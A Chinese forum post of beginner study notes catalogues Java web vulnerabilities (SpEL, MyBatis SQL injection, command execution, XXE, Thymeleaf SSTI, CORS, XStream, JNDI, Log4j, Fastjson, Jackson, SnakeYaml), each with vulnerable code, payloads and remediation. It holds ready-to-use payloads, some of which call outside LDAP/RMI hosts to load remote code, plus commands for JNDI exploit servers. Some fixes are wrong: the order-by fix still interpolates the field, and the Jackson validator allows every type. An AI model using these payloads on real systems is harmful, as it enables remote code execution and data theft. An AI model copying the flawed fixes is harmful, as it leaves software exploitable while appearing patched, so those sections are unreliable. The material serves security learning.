网安入门篇-Java安全 - ☕ 经验茶谈极核论坛 - 知识星球 - 极核GetShell

网安入门篇-Java安全

本文为个人学习记录,由于我也是初学者可能会存在错误,如有错误请指正

本文主要是Java常见漏洞的大杂烩,无深入分析漏洞原因

SpEL表达式注入

SpEL(Spring Expression Language,Spring 表达式语言)是 Spring 框架的一部分,用于在运行时动态解析和执行表达式。SpEL 表达式可以用来访问对象属性、调用方法、执行算术运算、调用逻辑表达式、甚至在 XML 配置和注解中使用。它具有很大的灵活性和强大的功能,通常用于 Spring 框架中的配置、条件判断以及动态值注入。

前置知识

package com.example.springel;  
  
import org.springframework.expression.Expression;  
import org.springframework.expression.ExpressionParser;  
import org.springframework.expression.spel.standard.SpelExpressionParser;  
  
public class testSpringEl {  
	public static void main(String[] args) {  
		// 创建 SpEL 解析器  
		ExpressionParser parser = new SpelExpressionParser();  
		  
		// 1. 解析常量表达式  
		Expression expression1 = parser.parseExpression("'Hello, Spring Expression Language!'");  
		String message = expression1.getValue(String.class);  
		System.out.println("常量字符串解析结果: " + message);  
		  
		// 2. 调用方法  
		Expression expression2 = parser.parseExpression("'Hello'.concat(' World')");  
		String concatenatedString = expression2.getValue(String.class);  
		System.out.println("方法调用解析结果: " + concatenatedString);  
		  
		// 3. 访问对象属性  
		Person person = new Person("John", 30);  
		Expression expression3 = parser.parseExpression("name");  
		String personName = expression3.getValue(person, String.class);  
		System.out.println("对象属性解析结果: " + personName);  
		  
		// 4. 执行算术运算  
		Expression expression4 = parser.parseExpression("10 * 5 + 2");  
		Integer result = expression4.getValue(Integer.class);  
		System.out.println("算术运算解析结果: " + result);  
		  
		// 5. 使用三元表达式  
		Expression expression5 = parser.parseExpression("age > 18 ? 'Adult' : 'Minor'");  
		String ageCategory = expression5.getValue(person, String.class);  
		System.out.println("三元表达式解析结果: " + ageCategory);  
	}  
}

漏洞代码

// 1. 创建解析器:SpEL使用ExpressionParser接口表示解析器,提供SpelExpressionParser默认实现  
ExpressionParser parser = new SpelExpressionParser();  
// StandardEvaluationContext权限过大,可以执行任意代码  
EvaluationContext evaluationContext = new StandardEvaluationContext();  
  
// 2. 解析表达式: 使用ExpressionParser的parseExpression来解析相应的表达式为Expression对象  
// 3. 求值:通过 Expression 接口的 getValue 方法根据上下文获得表达式值  
String result = parser.parseExpression(exp).getValue(evaluationContext).toString();
model.addAttribute("results", result);

漏洞原因

  1. 过大的权限范围
    使用了 StandardEvaluationContext,它默认提供了对反射、静态方法调用等功能的访问权限。攻击者可以通过精心构造的表达式利用这些功能,执行任意代码或访问敏感数据。

  2. 表达式未经过滤或校验
    直接将外部输入(如 exp)传入 parser.parseExpression(exp) 进行解析和执行。这为攻击者提供了机会,在 exp 中注入恶意表达式,比如执行 System.exit(0) 结束程序,或者调用 Runtime.getRuntime().exec() 执行系统命令。

Payload

T(java.lang.Runtime).getRuntime().exec("calc.exe")

修复方案

方案一:
通过 SimpleEvaluationContext 来代替 StandardEvaluationContextSimpleEvaluationContext 提供了更严格的限制,禁止访问静态方法和构造函数,也无法执行反射调用。

// 创建解析器
ExpressionParser parser = new SpelExpressionParser();

// 使用受限的 SimpleEvaluationContext
EvaluationContext evaluationContext = SimpleEvaluationContext.forReadOnlyDataBinding().build();

// 解析表达式并求值
String result = parser.parseExpression(exp).getValue(evaluationContext, String.class);
model.addAttribute("results", result);

方案二:
输入的 exp 进行严格的过滤和校验,确保其内容符合安全要求,并防止用户输入复杂的 SpEL 表达式。例如,可以只允许简单的数学运算或数据绑定,而不是任意的代码执行。

if (!isValidExpression(exp)) {
    throw new IllegalArgumentException("Invalid expression");
}

// 安全地解析和执行表达式
String result = parser.parseExpression(exp).getValue(evaluationContext).toString();
model.addAttribute("results", result);

// 简单的表达式校验逻辑 (示例)
private boolean isValidExpression(String exp) {
    // 仅允许数字、基本操作符、字母和空格
    return exp.matches("[0-9\\+\\-\\*/\\(\\)\\s]+");
}

Mybatis

作用和JDBC一样

前置知识

在Spring boot的配置文件application.yml中添加Mysql配置

spring:  
	datasource:  
		url: jdbc:mysql://localhost:3306/mybatis  
		username: root  
		password: 123456  
		driver-class-name: com.mysql.cj.jdbc.Driver

entity层添加 对应数据表中单行数据 便于实例化的对象 类似于Java web中的pojo

users表结构:

Pasted image 20240819092950

package com.example.springbootmybatis.entity;  

public class User {  
	private Integer id;  
	private String username;  
	private String password;  

	public Integer getId() {  
		return id;  
	}  

	public void setId(Integer id) {  
		this.id = id;  
	}  

	public String getUsername() {  
		return username;  
	}  

	public void setUsername(String username) {  
		this.username = username;  
	}  

	public String getPassword() {  
		return password;  
	}  

	public void setPassword(String password) {  
		this.password = password;  
	}  

	@Override  
	public String toString() {  
		return "User{" +  
			"id=" + id +  
			", username='" + username + '\'' +  
			", password='" + password + '\'' +  
			'}';  
	}  
}

在mapper层添加UserMapper接口,有点类似Java Web的Dao层

@Mapper告诉 Spring Boot 框架,这个接口是用于与数据库进行交互的,框架会自动为其创建实现类
@Select()选择查询 绑定到下方抽象方法 当抽象方法执行时就会调用相应的查询,其他语句一样

package com.example.springbootmybatis.mapper;  
  
import com.example.springbootmybatis.entity.User;  
import org.apache.ibatis.annotations.Mapper;  
import org.apache.ibatis.annotations.Select;  

import java.util.List;  

@Mapper  
public interface UserMapper {  
	@Select("select * from users")  
	public List<User> findAll();  
	
	@Select("select * from users where id = ${id}")  
	public User findByid(Integer id);  
}

Controller层添加执行SQLcontroller

@Autowired框架会自动查找与UserMapper类型匹配的已注册的 bean,并将其注入到userMapper变量中。这样,在控制器中就可以直接使用userMapper来进行数据库操作,而无需手动创建和初始化。

@RestController注解和@Controller注解有以下区别:
1. 返回值类型
@Controller:通常用于处理视图的渲染,方法返回值可以是视图名称或模型对象,结合视图解析器将数据渲染到视图页面。
@RestController:用于构建 RESTful 风格的服务,方法返回值直接作为 HTTP 响应的正文,通常是 JSON、XML 等数据格式。
2. 处理请求方式
@Controller:更侧重于页面跳转和数据传递给视图。
@RestController:专注于处理数据的交互,直接返回数据给客户端。

package com.example.springbootmybatis.controller;  
  
import com.example.springbootmybatis.entity.User;  
import com.example.springbootmybatis.mapper.UserMapper;  
import org.springframework.beans.factory.annotation.Autowired;  
import org.springframework.stereotype.Controller;  
import org.springframework.web.bind.annotation.GetMapping;  
import org.springframework.web.bind.annotation.RequestParam;  
import org.springframework.web.bind.annotation.RestController;  
  
import java.util.List;  
  
@RestController  
public class GetUserController {  
  
	@Autowired  
	private UserMapper userMapper;  
  
	@GetMapping("/getuser")  
	public List<User> getUser(){  
		List<User> users = userMapper.findAll();  
		return users;  
	}  

	@GetMapping("/getuserbyid")  
	public User getUserByid(@RequestParam Integer id){  
		User user = userMapper.findByid(id);  
		return user;  
	}  
}

like 注入

开发者使用Mybati时使用like模糊匹配

@Select("Select * from users where username like '%#{username}%'")
// # 报错 语法错误 
// `#{}` 是用于安全绑定参数的,MyBatis会将参数作为字面量值传递 而%应该与SQL语句一体

此时一位刚入门的开发者为了图方便将#改为$

@Select("Select * from users where username like '%${username}%'")

$是用于连接SQL语句,类似于

"Select * from users where username like % "+ $_GET[username] + "%"

就会导致SQL注入

Payload

xxx%' union select database(),user(),@@version,4,5 -- -

修复方案

@Select("Select * from users where username like concat('%',#{username}, '%')")

Order by 注入

由于使用#{}会将对象转成字符串,形成 order by \"user\" desc 造成错误

@Select("select * from users order by #{field}")
//逻辑错误 导致传参称变为字符串

此时一位刚入门的开发者为了图方便将#改为$

@Select("select * from users order by ${field}")

就会导致SQL注入

Payload

id and (updatexml(1,concat(0x7e,(select user())),0))-- -

修复方案

@Select("<script> select * from users order by ${field} </script>")

In 注入

in之后多个id查询时使用 # 同样会报错

@Select("SELECT * FROM users WHERE id IN (#{ids})")

此时一位刚入门的开发者为了图方便将#改为$

就会导致SQL注入

Payload

1,2,3) and (updatexml(1,concat(0x7e,(select user())),0))-- -

修复方案

@Select("<script>" + "SELECT * FROM users WHERE id IN " + "<foreach item='item' index='index' collection='ids' open='(' separator=',' close=')'>" + "#{item}" + "</foreach>" + "</script>")

RCE

RuntimeExec

Process proc = Runtime.getRuntime().exec(cmd);

ScriptEngineManager

在Java 8之后ScriptEngineManager没有eval函数

ScriptEngine engine = new ScriptEngineManager().getEngineByExtension("js"); 

// Bindings:用来存放数据的容器  
Bindings bindings = engine.getBindings(ScriptContext.ENGINE_SCOPE);  
String payload = String.format("load('%s')", url);  
engine.eval(payload, bindings);  
model.addAttribute("results", "远程脚本: " + HtmlUtils.htmlEscape(url) + " 执行成功!");

Payload

var a = mainOutput(); 
function mainOutput() { 
	var x=java.lang.Runtime.getRuntime().exec("calc")
};

Groovy

GroovyShell shell = new GroovyShell();  
shell.evaluate(cmd);

Payload

"calc".execute()

ProcessBuilder

此时ip变量为用户输入

String[] cmdList = {"cmd", "/c", "ping -n 1 " + ip};  
StringBuilder sb = new StringBuilder();  
// 利用指定的操作系统程序和参数构造一个进程生成器  
ProcessBuilder pb = new ProcessBuilder(cmdList);

Payload

127.0.0.1 | calc

ProcessImpl

Class<?> clazz = Class.forName("java.lang.ProcessImpl");
Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);  
method.setAccessible(true);  
Process e = (Process) method.invoke(null, new String[]{cmd}, null, null, null, false);

通用修复方案加过滤

XXE

XMLReader

XMLReader xmlReader = XMLReaderFactory.createXMLReader();
xmlReader.parse(new InputSource(new StringReader(content)));

SAXReader

SAXReader sax = new SAXReader();  
sax.read(new InputSource(new StringReader(content)));

SAXBuilder

SAXBuilder saxbuilder = new SAXBuilder();  
saxbuilder.build(new InputSource(new StringReader(content)));

DocumentBuilder

DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();  
DocumentBuilder builder = factory.newDocumentBuilder();

 

Unmarshaller

XMLInputFactory xif = XMLInputFactory.newFactory();  
XMLStreamReader xsr = xif.createXMLStreamReader(new StringReader(content));

修复方案

关闭实体 不允许外部使用 DOCTYPE

DocumentBuilder、SAXBuilder、SAXReader、XMLReader

dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

Unmarshaller

xif.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");  
xif.setProperty(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, "");

SSTI

thymeleaf

前置知识

导入thymeleaf模版,在pom.xml添加

<dependency>  
	<groupId>org.springframework.boot</groupId>  
	<artifactId>spring-boot-starter-thymeleaf</artifactId>  
</dependency>

Controller层创建模版对应的数据类

 controller/basevul/SSTIVul.java

@Controller  
@RequestMapping("/home/ssti")  
public class SSTIVul {  
  
	@RequestMapping("/thymeleaf")  
	public String thymeleaf(String content) {  
		return "user/" + content + "/welcome"; //template path is tainted  
	}  
}

在thymeleaf模版文件对接数据类

templates/basevul/ssti/thymeleaf.html

<form class="layui-form" th:action="@{/home/ssti/thymeleaf}" method="get">  
<div class="layui-form-item">  
<label class="layui-form-label">content: </label>  
	<div class="layui-input-block">  
		<input type="text" name="content" lay-verify="required" lay-reqtext="content不能为空" value="__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(&quot;calc&quot;).getInputStream()).next()}__::" autocomplete="off" class="layui-input">  
	</div>  
</div>  
  
<div class="layui-form-item">  
	<div class="layui-input-block">  
		<button class="layui-btn" lay-submit="" lay-filter="demo1">立即提交</button>  
		<button type="reset" class="layui-btn layui-btn-primary">重置</button>  
	</div>  
</div>  
</form>
<!--执行结果-->  
<div th:replace="~{commons/commons::results}"></div>

模板特有代码解析

th:action="@{/home/ssti/thymeleaf}"
th:action 是Thymeleaf中的一个属性,作用是动态生成表单的提交地址(URL)。
@{/home/ssti/thymeleaf} 表示将生成一个 /home/ssti/thymeleaf 的URL。Thymeleaf会自动根据应用上下文来解析这个路径,并确保生成的URL是正确的。

~{commons/commons::head}:
commons/commons 指向了一个名为 commons.html 的模板文件。这个文件通常放在 `templates/commons` 目录下。
::head 表示从 commons.html 中引用名为 head 的片段(fragment)。

漏洞解析

 th:fragment 、th:text 这种形式,这种就是 thymeleaf 中的指令
 ${message}表示从 model 中取对应 key 的值,而 ${…}这里面是 ognl/SpringEL 表达式,比如` ${7*7}` 会执行里面运算,得到 49 ,同样延申一下 ognl 表达式:${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")},SpringEL 表达式:${T(java.lang.Runtime).getRuntime().exec('calc')}${} 内部的通过 OGNL 表达式引擎解析的,外部的通过 thymeleaf 模板引擎解析 。

thymeleaf 在解析包含 :: 的模板名时,会将其作为表达式去进行执行

Payload

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc").getInputStream()).next()}__::

noreturn

controller/basevul/SSTIVul.java

@Controller  
@RequestMapping("/home/ssti")  
public class SSTIVul {  
	@RequestMapping("/noreturn/{content}")  
	public void noReturn(String content) {  
		System.out.println("ok");  
	}  
}

templates/basevul/ssti/noreturn.html

<div class="layui-form-item">  
	<div class="layui-input-block">  
		<button class="layui-btn" lay-submit="" lay-filter="demo1" onclick="jump()">  
	立即提交  
		</button>  
		<button type="reset" class="layui-btn layui-btn-primary">重置</button>  
	</div>  
</div>

<script>  
function jump() {  
	const content = document.getElementById('test').value;  
	const url = window.location.protocol + "//" + window.location.host + "/home/ssti/noreturn/" + content;  
	window.location.href =url  
}  
</script>

漏洞解析

如果controller无返回值,则以GetMapping的路由为视图名称。
对于每个http请求来讲,其实就是将请求的url作为视图名称,调用模板引擎去解析。
在这种情况下,我们只要可以控制请求的controller的参数,一样可以造成RCE漏洞。

Payload

__${T(java.lang.Runtime).getRuntime().exec("calc")}__::.x

CORS(跨域资源共享)

跨域:浏览器对于js的同源策略限制,若域名和端口一致则不存在跨域问题

前置知识

CORS头解析:
origin:表示请求的来源域名
Access-Control-Allow-Origin指定允许跨域的域名
Access-Control-Allow-Credentials: true被启用时,浏览器允许发送带有Cookie或其他凭证的请求
Access-Control-Allow-Methods指定允许的HTTP方法,包括GET, POST, PUT, DELETE, 和 OPTIONS

Pasted image 20241016215846

漏洞代码

@RestController  
@RequestMapping("/home/cors")  
public class CORSVul {  
  
@Autowired  
@SuppressWarnings("all")  
AdminService adminService;  
  
@GetMapping("")  
public String corsVul(HttpServletRequest request, HttpServletResponse response, HttpSession httpSession) {  
// origin头可控  
	String origin = request.getHeader("origin");  
	response.setHeader("Access-Control-Allow-Origin", origin);  
	response.setHeader("Access-Control-Allow-Credentials", "true");  
	response.setHeader("Access-Control-Allow-Methods", "GET,POST,PUT,DELETE,OPTIONS");  
	String username = (String) httpSession.getAttribute("username");  
	Admin admin = adminService.getInfoByUserName(username);  
	return "登录用户名: " + admin.getUsername() + ", 密码: " + admin.getPassword();  
	}  
}

漏洞解析

origin字段由请求者控制,则意味着任何来源的请求都可能被允许跨域访问,从而带来安全隐患。

Payload

<!DOCTYPE html>  
<html>  
<head>  
	<title>cors poc</title>  
</head>  
	<body>  
		<script type="text/javascript">  
			function cors() {  
				const xhttp = new XMLHttpRequest();  
				xhttp.onreadystatechange = function () {  
					if (this.status === 200) {  
						alert(this.responseText);  
					}  
				};  
				// 修改为对应的地址  
				// 根据返回头修改  
				xhttp.open("GET", "http://127.0.0.1:8000/home/cors");
				xhttp.withCredentials = true;  
				xhttp.send();  
			}  
			cors();  
		</script>  
	</body>  
</html>

修复方案

加入过滤器或写死Access-Control-Allow-Origin响应头

Shiro 反序列化

Shiro主要用于处理身份验证、授权、加密和会话管理。它的作用是为Java应用程序提供安全保障,确保用户只能访问被授权的资源。

数据包特征

当勾选记住登录时,响应数据中会出现rememberme关键字

直接使用利用工具检测利用即可:[GitHub – SummerSec/ShiroAttack2: shiro反序列化漏洞综合利用]

XStream

XStream是一个轻量级、简单易用的开源Java类库,它主要用于将对象序列化成XML(JSON)或反序列化为对象。

前置知识

pom.xml中添加XStream依赖

<dependencies>  
	<dependency>  
		<groupId>com.thoughtworks.xstream</groupId>  
		<artifactId>xstream</artifactId>  
		<version>1.4.20</version>  
	</dependency>  
</dependencies>

构造一个User类

public class User {  
	private String username;  
	private String passwd;  
	private Integer age;  
	  
	public User(String username, String passwd, Integer age) {  
		this.username = username;  
		this.passwd = passwd;  
		this.age = age;  
	}  
	  
	public String getUsername() {  
		return username;  
	}  
	  
	public void setUsername(String username) {  
		this.username = username;  
	}  
	  
	public String getPasswd() {  
		return passwd;  
	}  
	  
	public void setPasswd(String passwd) {  
		this.passwd = passwd;  
	}  
	  
	public Integer getAge() {  
		return age;  
	}  
	  
	public void setAge(Integer age) {  
		this.age = age;  
	}  
}

使用XStream序列化User对象

import com.thoughtworks.xstream.XStream;  
  
public class testXStream {  
	public static void main(String[] args) {  
		User user = new User("LY_C", "123546", 21);  
		XStream xStream = new XStream();  
		String xml = xStream.toXML(user);  
		System.out.println(xml);  
	}  
}

结果

<User>
  <username>LY_C</username>
  <passwd>123546</passwd>
  <age>21</age>
</User>

反序列化xml文件

User user1 = (User) xStream.fromXML(xml);  
System.out.println(user1);

漏洞代码

@RestController
@RequestMapping("/home/xstream")
public class Xstream {
    @RequestMapping("")
    public String vul(@RequestBody String content) {
        try {
            XStream xs = new XStream();
            xs.fromXML(content);
            return "XStream Vul";
        } catch (Exception e) {
            return e.toString();
        }
    }
}

Payload

<sorted-set>
	<dynamic-proxy>
		<interface>java.lang.Comparable</interface>
		<handler class="java.beans.EventHandler">
			<target class="java.lang.ProcessBuilder">
				<command>
					<string>calc</string>
				</command>
			</target>
				<action>start</action>
		</handler>
	</dynamic-proxy>
</sorted-set>

修复方案

// 创建 XStream 实例 
XStream xStream = new XStream(); 
// 添加安全性配置,防止任意代码执行  禁用所有类 
xStream.addPermission(AnyTypePermission.NONE);
// 只允许 String 类
xStream.allowTypes(new Class[] {java.lang.String.class});

JNDI注入

执行rmi或ldap协议

public class JNDIDemo {  
	public static void main(String[] args) throws NamingException {  
		//调用对象 支持RMI LDAP协议  
		InitialContext ini = new InitialContext();  
		//ldap://172.18.0.1:1389/tunupy相当于class文件  
		ini.lookup("ldap://172.18.0.1:1389/tunupy");
		//或
		ini.lookup("rmi://172.18.0.1:1389/tunupy");  
	} 
}

rmi和ldap协议注入适用版本

1723967344380

javax.naming.InitialContext.lookup()
在RMI服务中调用了InitialContext.lookup()的类有:

org.springframework.transaction.jta.JtaTransactionManager.readObject()

com.sun.rowset.JdbcRowSetImpl.execute()

javax.management.remote.rmi.RMIConnector.connect() org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)

在LDAP服务中调用了InitialContext.lookup()的类有:
InitialDirContext.lookup()
Spring LdapTemplate.lookup()
LdapTemplate.lookupContext()

工具使用

JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C '指令' -A 主机ip地址

marshalsec-0.0.3-SNAPSHOT-all.jar 内置ldap高版本绕过手段
该工具需要将java文件`javac `编译成class字节码文件,并放置到网站根目录中

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://0.0.0.0/#class文件
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.JNDIRefServer http://0.0.0.0/#class文件

Log4j

log4j主要用于日志记录
Log4j2默认支持解析ldap/rmi协议

漏洞代码

@RestController  
@RequestMapping("/home/log4j")  
public class Log4j {  
	private static final Logger logger = LogManager.getLogger(Log4j.class); 
  
	@RequestMapping("")  
	public String log4j(String content) {  
		logger.error(content);  
		return "Log4j2 JNDI Injection";  
        }  
}

Payload

${jndi:ldap://htktwbdzwt.dgrh3.cn}

Fastjson

用于各种数据之间转换便于网络传输,如对象转JSON,JSON转对象,序列化,反序列化等

前置知识

对象转JSON

import com.alibaba.fastjson.JSON;  
import com.alibaba.fastjson.JSONObject;  
import com.alibaba.fastjson.serializer.SerializerFeature;  
import com.lyc.User;  
  
public class fastjsonTest {  
	public static void main(String[] args) {  
		User user = new User();  
		user.setAge(22);  
		user.setName("LY_C");  
		System.out.println(JSONObject.toJSONString(user, SerializerFeature.WriteClassName));  
	}  
}

JSON转对象

@type值为指定类型,@type键值对后的都为对象属性以及值
在执行JSON转对象时,FastJSON会调用对象

import com.alibaba.fastjson.JSON;  
import com.alibaba.fastjson.JSONObject;  
import com.alibaba.fastjson.serializer.SerializerFeature;  
import com.lyc.User;  
  
public class fastjsonTest {  
	public static void main(String[] args) {  
	
		String test = "{\"@type\":\"com.lyc.User\",\"age\":22,\"name\":\"LY_C\"}";  
		JSON.parseObject(test);  
	}  
}

漏洞代码

@RestController  
@RequestMapping("/home/fastjson")  
public class FastJson {  
  
	@RequestMapping("")  
	public String fastJson(@RequestBody String content) {  
		try {  
			// 转换成object  
			JSONObject jsonToObject = JSON.parseObject(content);  
			return jsonToObject.get("name").toString();  
		} catch (Exception e) {  
			return e.toString();  
		}  
	}  
}

Payload

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://jndi.fuzz.red:5/ahld/test","autoCommit":true}

Jackson

和Fastjson功能差不多

前置知识

pom.xml中添加Jaskson依赖

<dependency>  
	<groupId>com.fasterxml.jackson.core</groupId>  
	<artifactId>jackson-databind</artifactId>  
	<version>2.11.0</version>
</dependency>

对象转JSON

import com.fasterxml.jackson.core.JsonProcessingException;  
import com.fasterxml.jackson.databind.ObjectMapper;  
public class testJackson {  
		public static void main(String[] args) throws JsonProcessingException {  
		User user = new User("LY_C", "123546", 21);  
		ObjectMapper objectMapper = new ObjectMapper();  
		String jsonString = objectMapper.writerWithDefaultPrettyPrinter().writeValueAsString(user);  
		System.out.println(jsonString);  
	}  
}

JSON转对象

import com.fasterxml.jackson.core.JsonProcessingException;  
import com.fasterxml.jackson.databind.ObjectMapper;  
  
public class testDeJackson {  
	public static void main(String[] args) throws JsonProcessingException { 
		String json = "{\"name\":\"李四\",\"passwd\":\"123546\",\"age\":30}";  
		ObjectMapper objectMapper = new ObjectMapper();  
		User userFromJson = objectMapper.readValue(json, User.class);  
		System.out.println("反序列化后的 User 对象:" + userFromJson);  
	}  
}

漏洞代码

@RestController  
@RequestMapping("/home/jackson")  
public class Jackson {  
  
@RequestMapping("")  
public String vul(@RequestBody String content) {  
	try {  
			ObjectMapper mapper = new ObjectMapper(); 
			//允许在序列化和反序列化过程中处理多态类型 
			mapper.enableDefaultTyping();    
			Object o = mapper.readValue(content, Object.class);  
			mapper.writeValueAsString(o);  
			return "解析成功!";  
		} catch (Exception e) {  
			e.printStackTrace();  
			return e.toString();  
		}  
	}  
}

漏洞解析

使用了mapper.enableDefaultTyping(); 允许在序列化和反序列化过程中处理多态类型,该方法会启用 Jackson 的默认类型处理机制,在 JSON 数据中嵌入实际的类信息(如 @class 字段)

Payload

["com.nqadmin.rowset.JdbcRowSetImpl",{"dataSourceName":"ldap://jhpfpiabxy.iyhc.eu.org","autoCommit":"true"}]

修复方案

使用 PolymorphicTypeValidator 限制可以反序列化的类,或者完全禁用不必要的多态类型处理功能。

@RestController  
@RequestMapping("/home/jackson")  
public class JacksonController {  
  
    @RequestMapping("")  
    public String vul(@RequestBody String content) {  
        try {  
            ObjectMapper mapper = new ObjectMapper(); 
            
            // 使用 PolymorphicTypeValidator 来限制允许的类型
            BasicPolymorphicTypeValidator ptv = BasicPolymorphicTypeValidator.builder()
                .allowIfSubType(Object.class)  // 限制允许的类型
                .build();

            // 启用类型信息处理时需要明确设置类型校验器
            mapper.activateDefaultTyping(ptv, ObjectMapper.DefaultTyping.NON_FINAL);
            
            Object o = mapper.readValue(content, Object.class);  
            return mapper.writeValueAsString(o);  
        } catch (Exception e) {  
            e.printStackTrace();  
            return e.toString();  
        }  
    }  
}

原生序列化

原生反序列化主要有三种方式:SnakeYaml、XMLDecoder、ObjectInputStream.readObject()

readObject()数据特征:原生序列化的数据一般标记为ac ed 00 05开头,base64编码的特征为ro0AB,如下

前置知识

SnakeYaml

主要用于Yaml文件和对象的互相转换

test.yaml
firstName: "John"
lastName: "Doe"
age: 20

yaml文件转对象

public class TestSnakeYaml {
    public static void main(String[] args) {
        new TestSnakeYaml().testDe();
    }

    public void testDe() {
        Yaml yaml = new Yaml();
        InputStream inputStream = this.getClass()
                .getClassLoader()
                .getResourceAsStream("test.yaml");
        if (inputStream == null) {
            System.out.println("Error: Could not find the test.yaml file.");
            return;
        }
        Map<String, Object> obj = (Map<String, Object>) yaml.load(inputStream);
        System.out.println(obj);
    }
}

输出结果

{firstName=John, lastName=Doe, age=20}

 

字符串转yaml文件

import org.yaml.snakeyaml.DumperOptions;
import org.yaml.snakeyaml.Yaml;
import java.io.InputStream;
import java.util.Map;

public class TestSnakeYaml {
    public static void main(String[] args) {
        String yamlContent = "name: John Doe\nage: 30\nemail: johndoe@example.com";
       new TestSnakeYaml().test(yamlContent);
    }
    public void test(String content){
        DumperOptions options = new DumperOptions();
        options.setDefaultFlowStyle(DumperOptions.FlowStyle.BLOCK);
        // 使用 options 创建 Yaml 实例
        Yaml yaml = new Yaml(options);
        // 加载并解析输入内容
        Object data = yaml.load(content);
        // 序列化解析的内容并打印
        String serializedContent = yaml.dump(data);
        System.out.println(serializedContent);
    }
}

Payload

!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: 'rmi://127.0.0.1:2222/exp', autoCommit: true}
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:2222"]]]]

XMLDecoder

主要用于xml文件和对象的互相转换

对象转xml

import java.beans.XMLEncoder;
import java.io.FileOutputStream;
import java.io.IOException;

public class testXMLDecoder {
    public static void serializeToXML(Person person, String filename) {
        try (FileOutputStream fos = new FileOutputStream(filename);
             XMLEncoder encoder = new XMLEncoder(fos)) {
            encoder.writeObject(person);
            System.out.println("Object serialized to XML successfully.");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] args) {
        // 创建要序列化的 Person 对象
        Person person = new Person("John Doe", 30, "johndoe@example.com");
        // 序列化到 XML 文件
        serializeToXML(person, "person.xml");
    }
}

xml转对象

public class XMLDeserializationExample {

    public static Person deserializeFromXML(String filename) {
        try (FileInputStream fis = new FileInputStream(filename);
             XMLDecoder decoder = new XMLDecoder(fis)) {
            return (Person) decoder.readObject();
        } catch (IOException e) {
            e.printStackTrace();
            return null;
        }
    }

    public static void main(String[] args) {
        // 从 XML 文件反序列化
        Person person = deserializeFromXML("person.xml");
        System.out.println("Deserialized object: " + person);
    }
}

 

readObject()

 

请登录后发表评论

    没有回复内容